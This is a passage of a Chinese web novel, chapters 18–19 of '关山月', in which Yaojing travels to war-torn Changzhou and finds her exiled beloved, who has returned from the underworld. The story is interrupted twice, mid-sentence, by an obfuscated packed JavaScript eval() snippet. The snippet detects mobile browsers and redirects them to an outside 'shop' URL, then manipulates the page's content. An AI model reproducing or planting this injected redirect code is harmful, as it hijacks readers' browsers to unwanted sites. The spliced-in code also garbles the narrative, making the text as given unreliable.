她方才一直强自弯起的嘴角逐渐垂落下去,语声也逐渐低沉下去。瑶镜数次艰难开口,却无论如何也没法说出那人现今最有可能的真正结局。她终于哭出声来,在与她骨肉至亲的兄长面前,终于将她心底所积攒的所有痛楚与难受全都发泄了出来。 她抬眼望着贺重明,哽咽难言:“我总要去亲自看一看我们曾约定一起前往的长州——我必须知道,我与他相识相知数年,究竟会迎来一个怎样的结局。此事是我胆大包天,但我不得不如此选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073521|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 择,若当真就这样草草收场,我绝不会甘心如此。 “哥哥,你说,他还没见过颂之刚出生的孩子,他还没看到那些他想亲眼一观的风景,还有我和颂之,他明明说哪怕为了我们也会拼命活着的,他明明答应过我的,会和我在河西重逢,这些他都还没有做到,他怎么就——就这样离开了呢?” 她泪眼迷蒙,哭得不能自已,声音断断续续,语不成句,就差直接说出那句“生要见人,死要见尸”。 他们二人就这样静默下来,瑶镜甚至能听到夜风吹过她衣角时的微微呼声,能听到一旁的树木被风吹的沙沙作响,却完全做不到将这压抑的局面尽数打破。她死死咬着唇,努力不让自己彻底崩溃,只任由泪水一行行落下。 最终只听贺重明一声长叹,原本阴暗的天空仿佛现出微光,而瑶镜那跳动剧烈的心脏仿佛也因他这一叹而微微停滞了一瞬,随即却是跳动得更为剧烈。 “痴儿。”他叹了口气,也没多说什么,只走到她身边来,望向她的那双眼瞳之中有着心疼,有着无奈,亦有着好笑,却就是没有那本该出现的惊讶与愤怒,“我没有想要拦你。” 瑶镜足足愣了好一会儿,才反应过来自家兄长方才都说了些什么。再顾不上庆幸自己的“劫后余生”,她下意识的反问道:“难道……不是么?我以为,你是奉爹娘之命,才在此阻我……” “你这个傻姑娘……”贺重明又可气又好笑地摇了摇头,叹了口气,缓缓开口,“你当爹娘对你想做什么半分不知么?他们虽不常在京城,但你与张家那小子的事连我都瞒不过,难道还指望能瞒过他们?” 瑶镜并未想到原本打算拼尽全力的孤身远走,真相竟会是如此模样,不由得微微怔了一下。随即耳畔便传来贺重明含笑的声音:“怎么,你还不相信?自小到大,你决定了的事,我们谁能拗得过你?” 他叹息着自袖中掏出一块令牌,向她递过来:“爹爹托我给你的,京城这边我和叔父会帮你遮掩,河西如今百废待兴,叔母还坐镇家中,想必不会有人察觉什么异样。不过我们最大的让步仅限于此,且只此一次——有了它,你北上河西会方便许多。国朝驻军森严,爹爹驻守南关,平日里定然无法插手西北边塞,但如今河西才乱过一回,如今自顾不暇,驻守嘉峪关的将军又是爹爹的故交,不论如何,有了这令牌,我们总能护你周全。” 他温和的声音却如同晴空霹雳,瞬间打在瑶镜的心上,直直将她震得半天回不过神来,见她还发着怔,贺重明笑了笑,作势欲走:“看来阿镜是不想要了?那我收回去——” 话音未落,贺瑶镜猛地伸出手去,以迅雷不及掩耳之势抓住了他正要收回的令牌。依然是满脸泪水的失态模样,声音也哽咽得可怕,可她依然坚持着说道,字字句句,似乎都是不同往日的坚定与庆幸:“谁说我不要了?哥哥也知道,我想要做什么,那是一定要拼了命实现的。” 随即却猛地意识到什么,猛地抬眼:“你是指,叔父他们也……” 贺重明没有说话,却抬起眼来,望向不远处的厢房。瑶镜有些不解,却亦随他一同望去,原本已熄了灯火的厢房此刻却燃起了影影绰绰的烛光,有两个模糊的人影立在窗前,烛影昏暗,瑶镜甚至瞧不清他们的动作,但她那一刻便已知晓,叔父与叔母都并未休息,虽未亲自前来相送,却已以最好的方式为她送行。 他们都希望她能平安顺遂,就如同她一意孤行,决心北上的心之所向。 “去吧,阿镜。”贺重明抬手为瑶镜逝去泪水,语声温和,“虽说我的名字‘重明’意为相继光明照耀天地,但爹娘当年为你取名之时,同样也希望你如皎皎明月,照亮夜空。你本就是极为耀眼之人,若擅自对你的决定加以阻拦,岂不是宝刀尘封,明珠蒙尘?所以保护好自己——去实现你的心愿吧,去把妹婿带回来。无论你如何选择,我们都支持你。无论是哥哥和爹娘,又或是叔父叔母,我们都愿意帮你实现你的心愿。” 瑶镜心底泛起点点苦涩与感动。 她曾以为自己心许张绍筠是任性,他被流放长州后固执想要等一个终局是妄想,而决心孤身北上,去寻心上人的消息更是天方夜谭,桩桩件件都极难说服护她远离雨雪风霜的家人,谁料并非如此。他们不希望她被世俗的眼光所束缚手脚,而是愿她能放心大胆地做自己想做的事情,能够顺从自己的本心继续前行。故而就算心中或许知晓她走上这一趟,很可能无果而终,那时她心底的倾慕情愫也只得随着漫长时光的流逝而慢慢被她忘记,但无论如何,此时他们都会包容她,也都会理解与支持她的决定。 她忽地笑起来,好似卸去一身负担,深吸一口气,稳了稳心神,而后看着贺重明的双眼,郑重道:“哥哥,我一定会的。” 18. 关山月(十二) 离了京城,瑶镜一路北上。 过去她曾读过太多河西之地那些悲欢离合,爱憎情仇,知道这片浩瀚苍茫的土地上曾走过无数文人墨客,商贾使节,也曾见证过太多戎马倥偬,烽烟战火。文人在凉州的酒肆中看龟兹的舞姬跳起胡旋舞,旅者于甘州城下遥望祁连的茫茫白雪,商贾穿越沙州至雄关的广袤戈壁,迎着莫高的梵音与荒漠的滚滚黄沙一路行至关城之下,而驻守边关的将领按剑而立,站在关城上遥望戈壁上空的明月,感慨“撩乱边愁听不尽,高高秋月照长城”,迎着朔风扬起酒壶,高呼“明敕星驰封宝剑,辞君一夜取楼兰”。 这是她心中的河西,亦是她与张绍筠过去心向往之的关塞,这里于他们而言,是中原与异域的交融,是塞上江南的温婉与凉州大马的雄浑,亦是浩瀚黄沙之中的似锦繁华,可这些存在于过去无数想象中的模样,却不是如今她亲眼所见的河西。 凉州城中没了舞姬手脚上银铃的清脆响声,甘州城内的筚篥声响也微不可闻,街角没了飘扬的酒香,就连络绎不绝的商贾旅者此刻却也少了太多。人们在城中匆匆穿行,没了路边吟诵《凉州城》的潇洒文士,也没了胸怀豪情携剑出关的侠客,只有洪池岭的风和群山上蜿蜒的长城一如所想,凛冽而又厚重。 叛乱已尽数平定,但城中驻军损伤惨重,镇守长州的顾氏一族又已尽数伏诛,长州如今已近乎无兵驻守,留守长州关城的将领亦要更换,故而瑶镜这一路见得最多的除与她一样一路北上找寻亲眷友人、夫君孩子的憔悴百姓之外,居然是浑身甲胄的兵卒。 她自小见多了铁甲兵戈,虽未女承父业,却亦是不怕的,甚至到后来还能同他们聊上一二。众人都知晓她前来河西是要去长州寻人,她一个女子,虽说看模样并非弱不禁风,但北上途中,众人总会尽力帮衬一二。瑶镜鲜少对旁人提及张绍筠的身份,只言道自己要寻一位故人,但她提及张绍筠时眼中的怅然与坚决却瞒不过旁人,尤其瞒不过与她同路的几位妇人。 起初几人萍水相逢,涉及旁人私事,她们自然不好开口。但后来几人逐渐熟悉之后,终于有人按捺不住,趁着用午膳的闲暇时间悄悄问瑶镜:“小娘子要寻的那位故人,是你的心上人吧?” 她过去几天极为照顾瑶镜,故而这一句问得并不突兀。瑶镜微怔。自己心底的复杂沉闷,竟已表现得如此明显,她们全都能看得出来么? 她启唇想要说什么,那和善的妇人却忽地制止了她。她坐得离她近了些,轻轻拍了拍她的肩:“什么都不必说,我大概能猜出一二,是因其事涉长州之乱,所以才一直瞒着大家吗?我们在此交谈,没有将士会听到的,小娘子大可放心。” 茶香弥漫,只有杯盏碰撞声响。良久良久,瑶镜这才开口,也没提张绍筠与长州之乱是否有关,只是艰难道:“我不知道,他是否还活着。或许我来上这一趟,只是徒劳无功罢了。” 孤身远走的这一月以来,她一直将心中的情绪紧紧掩着,哪怕遇到再一见如故的人都极难敞开心扉。瑶镜的心一直悬在半空,她害怕在半途中不知何时就能听到那个最坏的结果,她更害怕千辛万苦抵达长州后所见所闻均是虚妄——就如同她这一路所见的河西的萧索。但这位和善的妇人和她有些笨拙却极其温暖的安慰,却是于不知不觉间将瑶镜对过去的无数回忆,尽数深深勾了起来。 心中诸事再掩不住,瑶镜不知为何,鬼使神差地对人敞开了心扉。 “还未至长州关城,就不要轻易放弃。”妇人为她续了一杯茶,向她递过来,轻声安慰道,“小娘子有如此胆识,想必平日必是扶倾济弱,积德累仁。相信那位郎君也定然福大命大,或许此刻便在长州城等着小娘子前去呢。” 瑶镜不知她为何如此笃定,也没料到如今河西风声鹤唳之时,这里的百姓却对那场势不可挡却又草率收兵的叛乱并不在意,但在此时,瑶镜对眼前妇人的话全然信任,好似抓住不知何来的一根稻草。 她没有回应妇人的话,只凝神望着屋外温暖的日光,有些喟叹的声音随风而逝,不知飘出多远: “……但愿如此。愿我们想要找寻的那些人们,都能在这场大乱中活下来。” 就算曾在路途之中听太多人说起长州如今的荒凉凄惨,可当亲眼见到这座河西名城如今的满目凄凉,瑶镜还是心中恍惚。 张绍筠先前去信给她时曾提及过长州城的雄伟壮阔,城中八街九陌,灯火辉煌,寺院梵音袅袅,市集熙熙攘攘,虽只是依关塞而建的城池,却是不输人称“河西都会”的凉州的存在。而在城池以北,长州关城静默耸立,旌旗猎猎,守护着城中的万家灯火。可此时的长州却是萧条凋敝,城中家家闭门锁户,道路两旁满是衣衫褴褛,风尘仆仆之人,房屋殿宇荒芜暗淡,还有砖瓦散落在转角。 瑶镜一路行来,举目所见尽是伤痕累累的人们,有人依靠在路边,衣袖领口上还带着依然干涸的暗红血迹,还有人面色惨淡,在长街上漫无目的地穿行,又很快便被来往的朝廷驻军所驱赶。 此刻长州之乱已基本收尾,在战乱中逝去之人的身份也逐渐得到辨认。许是为了震慑,又或许只是对千里寻亲人们的几分怜悯,长州关城前张贴着一份素纸黑墨的名单,那名单极长,一连贴出好远,那些曾在这座雄伟关城中冲锋陷阵,意气风发的热血男儿,如今还留存在世人视野之中的,也只有名单上那一个个墨色淡淡,却又触目惊心的姓名。 瑶镜站在长州城门前盘桓良久,她几次三番想要抬步,想走到那名单之前,却又在迈出步伐的前一刻临阵露怯,再没有勇气上前一步。瑶镜知道自己在害怕,她害怕在那密密麻麻的名单上寻不到那个熟悉的名字,可她却更怕甫一走到近处,便能看到触目惊心的那三个字。 她不敢承受,她亦不敢亲见。瑶镜知道自己如今所为确是胆怯,她心中暗暗自嘲:当初决心前来时豪气干云,顶了无比大的压力,如今人已至此,却连确认的勇气都没有,实在对不住临别时家人如此相助,也对不起自己当时那勇敢的选择。 她又尝试数次,却都以失败告终,榜文前的人越来越多,几次三番有人撞到瑶镜的双肩之上,几分隐痛袭来,她的身形却依然笔直未动。如此良久,瑶镜忽地闭了闭眼,长呼一口气,终于不再继续呆站在此处,而是僵硬缓慢地走到一旁,寻了不远处的酒馆坐下来——甚至是同手同脚。 长州如今仍杳无人烟,城内商铺如今仍开着的屈指可数,因此这酒馆虽不算大,却坐满了人。瑶镜要了壶最寻常的酒,坐在店铺外望着不远处的关城发呆。北地的凉风吹来,瑶镜微微扭头避过,却在同时喝了一大口手中烈酒。 北地美酒不比中原,向来是醇厚而甘冽,瑶镜酒量虽不算差,可一口下去,却也有些微的晕眩。她微眯着眼,看着荒凉空旷的官道,有凄厉的哭喊声传来,她循声望去,有女子素衣飘带,正站在那长长榜文之前,哭声悲切,如丧偶的大雁,似一柄尖锐的匕首直直刺入她的心房。瑶镜的心神已有些迷蒙,闻言忍不住皱起眉来,有一个年岁稍长的女子一直搀扶着大哭的姑娘,不知过了多久,那姑娘终于哭声稍歇,顺着搀扶逐渐远去,身影与逐渐下落的斜阳融为一体。 可怜无定河边骨,犹是春闺梦里人。 瑶镜过去读《陇西行》时只感慨战事残忍,没想到后来她竟当真亲见这样令人不忍再看的情节,却是令人痛上加痛。 她的身子一阵阵的发抖,心中压抑良久的情绪,终于找到了出口。瑶镜这段日子几乎都是提着一口气强撑下来,可方才的事却是压垮她的最后一根稻草,成了让她崩溃的最后推力——实是物伤其类。 感觉视线开始变得模糊,她用手狠狠抹了把脸,暗骂自己的不争气,淡然的伪装终于崩溃,低低自语,却不知向着何人:“你看,虽未到你我约定之期,但我确是如你我所愿,当真来了长州。只是河西如今已与过去大不相同,不知你若见此等景象,又会作何感想……你刚来长州之时,想必所见绝非此等萧条边关吧。” 她脸上的泪越流越凶,再擦不净,再忍不住,索性不再做徒劳之举,便径直扭过头去,高高扬起头来,视线凝聚在关城巍峨的城楼之上。 “你曾说过,只要我唤你一声,你便会跨越山海来到我身边。可如今……我却找不到你了。” “张绍筠,你食言了。”瑶镜这一声唤得颇为平静,好似那人就在眼前,随即她的声音却猛然抬高,嘶哑哽咽的嗓音在大乱初定的长州城骤然响起,竟似孤注一掷的嘶吼,“我遵守承诺,来河西见你了,但张绍筠,你言而无信——你言而无信!” 她死死攥紧了手,滚烫的泪水猝然砸下来,掌心刺痛,片刻间便现出几道血痕。这酒馆人来人往,不少人因她失态的动作和声音而抬眼望她,却见是个孤身一人的小娘子,劝慰的动作不由逐渐止住,几个已然站起的女子也默默坐回原位。 如今长州本就百废待兴,身在此处之人除惊慌失措的当地百姓之外俱是鱼龙混杂,心怀目的,有自己要寻的人,要做的事,太子伙同顾家谋逆一案兹事体大,众人自是心有戚戚,唯恐自己稍有不慎,同逆党扯上干系。看这女子形容,显然有挂念之人丧生于长州,也不知是否与顾氏一族有关,他们又怎会多管闲事,再将自己牵扯进尚未平复的风波之中? 瑶镜哭得极其狼狈,连气都喘不上来,胸膛中积攒的郁气与悲哀早已喷薄欲出,却堵在胸口,只得随着眼泪与哽咽一同发泄出来。泪眼模糊之中,眼角面颊的精致妆容随之变得凌乱不堪,就如同春日时被她画毁的那副青绿山水。瑶镜却视若无睹,意识迷蒙,连拭泪也不顾,只记得自己的哭声愈来愈大,完全失了在外应有的仪态。 她的眼前被泪水模糊住了视线,悲伤与眼泪弥漫四海,充斥在她的整个梦魇里,直将她整个人都困入其间,再寻不到半分出路。 浑浑噩噩之中,泪流满面的瑶镜背后忽然响起一声长长叹息: “不,我并未食言。 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他站在她触手可及的地方,她却完全不敢走到他的面前去,甚至畏惧于确认他的尚在人间。她与他明明相隔如此之近,却又如隔天堑般遥远。 “怎么如此惊讶,是不是以为我如今已然身死?”张绍筠见她发怔,也不讶异,好似早就料到如此。他扬起笑容,便似他们现今并非身处边关之下,而是仍在京中,他先前所经历的一切也并非兵戈生死,而只是因自己的纨绔之举而陷入囹圄,虽说麻烦,却终究得以万全。如今事情已了,面对忧心不已的她,他云淡风轻,将一切抛于脑后,丝毫不提自己受到的责难非议,只是温言让她安心,令她宽慰。 过去他每次面对她的担忧时,都会带着笑容温声安慰:“别担心,我在呢—— “瑶镜,我在这里。” ——如今亦然。贺瑶镜浑身僵直,视线早已因泪水而变得模糊,微一眨眼,便有泪自双颊滚落,她迎着刺骨的寒风再次望过去,张绍筠仍站在关城之下,颊边还带着几道未完全结痂的伤口,却笑容恣意,身姿笔挺。 他望着她,向她狡黠地眨眨眼:“不瞒你说,我确实死过一次,不过本公子福大命大,蒙上天恩赐,竟死而复生了,简直如奇迹一般。瑶镜,我遵守我们的约定,活着回来见你了——你看,我说过的,我们会在河西再次相遇。是不是很开心?” “——张绍筠!”他所言的恰是瑶镜这段时日以来最为抗拒、最为惧怕的事,她连日担惊受怕,生怕听到最坏的结果,如今听到他玩笑一般言及生死,自然忍受不住,再无法维持冷静,忍不住冷声出言打断了他。过去数岁以来,她对他都不曾直呼其名,如今却两次破例,委实令人心生感慨,却又有些无所适从的迷茫。 “你能不能别再玩笑扯谎?这是可以儿戏的事吗?你知道这段日子以来我究竟有多害怕吗?我一路北上来长州,我孤身一人过洪池岭、出凉州、入祁连,你以为这是为了什么?我就是怕你——” 她颤着唇想要问些什么,但“死”字却怎么也说不出来,只是一滴一滴掉着泪。瑶镜浑身都在发抖,眼前一片模糊,过去近一年来在心中积攒起来的话刚说了一半,颤得不成样子的手忽地被人拉住,整个人登时落入了张绍筠温暖宽厚的怀抱之中。 他紧紧抱着她,像是拥住了什么珍宝。张绍筠的力气极大,瑶镜一时间有些喘不过气,还未待她说些什么,眼前的人便猛地单手攥住了她因还未反应过来而毫无反抗之力的双手,以迅雷不及掩耳的掠夺之势牵制住她,死死吻住了她的唇。 如拼尽全力的守护,又如桃花流水的柔情。 瑶镜的身躯似乎有一瞬间的僵硬,随即却尽数放松下来。她缓缓伸出手来,回抱住张绍筠,力道却不似面上方才的绝望,逐渐大起来。手臂也在逐渐收紧,仿佛这辈子也不会再放手。 他的手轻轻握着她的手,先是手掌相握,渐渐的变成了十指交缠。那是久违的温暖,也是她期待太久的安定与宁静,像是冥冥之中予她的昭示:他再也不会离开。瑶镜正沉在他的那个吻之中,却忽地察觉张绍筠的食指伸至她左手掌心,先是轻轻摩挲,而后极其温柔地轻轻以指节扣了两下。 一如初见。 是梦吗?还是她悲伤过度,从而陷入了幻境?可眼前的一切却如此真实,真实得可怕,让她根本无法相信,亦不敢轻易相信。 在河西冬日的万丈残霞与逐渐升起的圆月映照之下,瑶镜恍恍惚惚地想:如果这是梦……那便愿苍天垂怜,从此之后,但愿长醉不复醒。就让她永远沉在这个美梦之中吧,至少心愿得偿,至少故人安在,至少让她拼尽一切北上长州,所见所愿并非空幻一场。 然后她很快便意识到,这或许并非清冷苦寒的长州予她的幻象,因为她听到紧紧抱着她的那人在她耳畔开口,熟悉的声音散在风中,落入耳中却又如此清晰。张绍筠的语声温柔而坚定,似乎还带着几分影影绰绰的笑意: 他说:“塞北的皓月和我心底的明月,如今,可全都被我拥入怀中了。” 19. 关山月(终) 张绍筠永不会告诉眼前的姑娘,其实方才他并未打什么诳语,他的确已是死过一次的人。 断绝气息,魂魄出窍不说,还踏往黄泉,登上奈何,若非他笨手笨脚,手一颤将那碗孟婆汤失手尽数撒入忘川河,只怕此刻早已轮回往生。 长州之乱虽迅疾平定,但仍是死伤者众,他混迹在一应魂魄中随他们一起机械僵硬地前行,却难得灵台清明,未被迷惑。接过那碗温热的汤,他不知为何,忽然就觉手中瓷碗烫若炙火,再拿不住,手腕一抖,便尽数洒在了忘川河里。 那一瞬间他涌现出前所未有的聪慧机敏,趁所有人未反应过来的一刹那慌不择路地冲下奈何桥,身后面色森冷的阴差穷追不舍。他不知跑了多久,直至身前身后仅剩星星点点的惨绿微光,阴差却忽然没了声响。他向前望去,手执铐镣的黑白无常袖随风动,挡在前路正中。 他一瞬间头脑空白,想逃又不知能逃到何处去,下意识想要握上腰间利剑,却忽觉自己早已手无寸铁,更别提凭他那只是稍有进步的武艺,就算手握刀剑,面对眼前的鬼差怕也是如蚍蜉撼树。可未待他有下一步动作,面色和善些许的白无常却忽地出了声: “奇哉怪也,十殿阎罗从长州这等刀兵阴气甚重之地收人,竟也会有所偏差。” “……什么意思?”他凝眸抿唇,直直向眼前人望去,有些不解。 “你阳寿未尽,命不该绝,不知谁粗心大意引你来此。命陨于长州城之人不知凡几,无人得闲依次确认,若非你在奈何桥上闹了那一场,给了我们发觉纰漏的机缘,或许便已那般蒙混过关,随他们一同转世往生。”范无咎声音冷肃,却是在这冷肃之间为他指引那一线生机,“身处冥府,一言一行皆出自本心本能。若非你自己心有执念,便也不会对着你手上的孟婆汤迟疑,更不会给我们觉察接引的机会——你的命数,实则由你自己插手改变。” 回想起当时奈何桥上的情状,好似的确有一股坚决的信念支撑着他,给了他“我不能过桥,亦不能饮孟婆汤”的信念,可就算如此,眼前的一切依然因自己委实太过幸运而显得荒谬。张绍筠攥紧了手,不确定般又问了一遍:“你们指的,确是前……中书令,张陆正之子张绍筠?你们当真没有寻错人吧……?” “……”范无咎扭头,谢必安扶额,后者凝眸看了他半晌,终究还是摇头叹了口气,“令尊入轮回前曾言道他膝下之子为人纨绔,任性妄为,然向来安于一隅,且性情纯善,从不自苦。我方才还觉令尊未免太不了解自家公子,如今才知,他所言不虚。” 张绍筠没想到自己此生居然还能够听到父亲的消息,更没想到罪孽深重的父亲竟还能够轮回转世。当即忘记了自己的处境,猛地开口发问:“爹爹他还好么?他轮回去了何处?——不是,他、他竟还有……” “还有轮回之机缘?”谢必安在惨白的光下笑起来,接过了他的话,“倒也可以如此去说。世间之事皆有因果,张陆正人尽可君,以权谋私罪无可赦,然膝下子女均心怀善念,亦因这亲缘承受些许果报,两相抵消,免了他入十八泥犁之苦。只是令尊因作恶业而有业报受身,去的究竟是六道中哪一道,你还是不要知道的好。” 张绍筠对佛老并无了解,更是向来不信的,可六道轮回之说却也听说过一二。爹爹重罪受刑,三善道已无法奢望,至于三恶道究竟能去哪一道,的确是不该由他继续探寻下去的了。能够轮回,能有来世,而不是在见者生畏的泥犁地狱中无尽受苦,这对爹爹来说,早已能够称作上善。随即他忽地反应过来,按谢必安所言,爹爹有此造化,竟还有他们姐弟兄妹三人的无心插柳,一时呆愣怔然,久久回不过神。 “回去吧。”他仍在发怔,谢必安却率先开口,他的目光越过他,望向冥府更远处,被黑雾笼罩着的一片虚无,“你不该在此处,也不应继续停留。沿此路一直前行,便可寻到生门,重返尘寰。” 可张绍筠却仍旧未动。 “多谢二位施以援手,可您二位究竟……”他顿了半刻,想了又想,终于还是对眼前两位过去只存在于传说之中的冥界神祇用了敬称,“……为何助我?” “我……我胸无点墨,不学无术,游手好闲,挥霍无度;我不懂事,从未令爹娘省心,我贩卖战马,险些连累所有人,还常常嘲笑戏弄他人,令姐姐和姐夫……太子殿下蒙羞,令家中数次置于风口浪尖……”他语速越来越快,几乎将从小到大,父亲、同窗和其他人明里暗里的斥责嘲笑在短短几息间尽数道出,“我是这样愚钝的人,究竟为什么——为何单单予我生机?” “张家绍筠,我以为你逢变后在长州数月,兵戈戎马,又历经纷飞战火,总该变得成熟些,怎么此刻却犯了痴?”未待谢必安回答,自方才起便一直寡言少语的范无咎却忽地冷笑一声,接过话来,“愚钝么?我不觉得。方才在奈何桥上,你为何扔下孟婆汤,又为何下定决心要逃离?若了无生念,你早已随长州亡魂一并往生,又何来机会与我二人交谈?若心存生念,故而倾尽所有想求得生机,却缘何还在此纠结相助与否?你若当真不愿重返阳世,我二人便即刻拘你魂魄,送你轮回,好过在此看你做无用功。你若愿意——如你知晓你究竟眷恋凡尘何人何事,你又何必要在此浪费时间?便就非要弄清一切方可罢休么?” 他的声音冰寒,在这幽冥鬼府之中更是如一盆冷水,发人深省。 “究竟为何拼尽全力想要活下去,不妨问问你自己的心。张绍筠,你想清楚些,你到底为何留恋凡尘?予你机缘的并非我二人,而是你心底的执念。” 张绍筠一怔,眼前光影流转,一刹间现过万紫千红,色彩斑斓。 含着泪涂上口脂,穿戴起侧妃服制去往即将被贬广川的郡王府的妹妹,他那未曾谋面的外甥,他曾无数次在书中读到过,与她说起过,想要在前途无忧后一同前去的壮丽山河,还有,还有……

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073523|149393||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那个眼底含着泪的姑娘一步步自远方走来。她穿着艳色的花罗裙子,鹅黄的团花宋锦背子,手边携了枝新开的梅花,梅花的美艳与她的似水温柔相结合,却并无半分违和。她浅浅微笑着走到他面前,眼底却闪着影影绰绰的泪光。 “我会等你。你说过的,我们会在河西重逢,所以我会等着你。不管你日后是在长州,在嘉峪,又或是离开河西而去镇守其他关城,我都会等着与你的再次相见。不论如何,请你一定、一定要——活下去。” 她哽咽而又决然的声音在他耳畔响起,张绍筠顺着那熟悉声音的牵引,终于看清了她的面容。那是他视若珍宝的姑娘,他心向往之的明月。 是了,还有人在等他。 他为何不想死,为何想要回到人间?是为了尚在人世的唯一亲人,为了少年人炽热的爱恋,更是为了过去二十余年之中,自己逐渐坚信,逐渐寻得的理想。 ——与她一起许下的理想。 家族蒙难,流放长州,本该将前尘尽数忘却,可有些东西放不下,也割舍不掉,只得放在心底拼命守着。他答应了她要拼尽全力活下去,他不能再食言。 张绍筠如梦初醒。他猛地转身,来不及再行言语,更来不及再次对两位不知为何出手点拨的无常二爷出言道谢,只是咬紧牙关,行步如风,在衣袖翻飞中拼命向远方如梦似幻的那团幽绿色光芒跑去。 那一路变幻交织,眼前景致千变万化,如同跌入话本中的奇境。他耳畔狂风呼啸,眼前光影闪烁,可步伐却从未慢下半分。他一路飞跑,从冥府跑回人世,从死门跑向生路,从奈何桥前昏暗莫测的幽冥鬼火一路奔向长州关城上于风雪中猎猎飘扬的旗帜,终于在这座他们曾约定一同前来的河西雄关之下,再次见到她。 他终于能再做到过去在长州饱经霜雪时想过太多次的事,能拭去她的眼泪,能将她紧紧拥入怀中,也能如过往的无数次那样,给她安慰与依靠,告诉她,从此再无痛楚,再无烦忧,他会用自己的生命来守护她,来陪着她——中书令之子的身份已如过眼云烟,与丢在长州的那条命一起成为前尘往事,他再也不是先前京城之中的纨绔子弟,未来的漫漫长路,他可以与她一同走下去。 那时张绍筠迎着长州冬日的寒风,第一次感觉这边地的朔风如此温暖。他想,上天终究是对他心存垂怜,让他能在纨绔行事十余年后,渐渐想通了自己所求究竟是什么;让他在为家族而赎罪之后,终究还有机会为自己而活;让他死而复生在这座承载无数离合悲欢的关塞之下,还能在回到尘世之间后,率先与她再次相见。 原来真的是冥冥之中自有机缘,那些曾失去的,曾错过的人,若是有缘,定会在日后漫长的时间之中与其再见重逢。 而如今,自己也终于可以自豪地同她说,他遵守了他们于血与火间立下的承诺。 “塞北的皓月和我心底的明月,如今,可全都被我拥入怀中了。”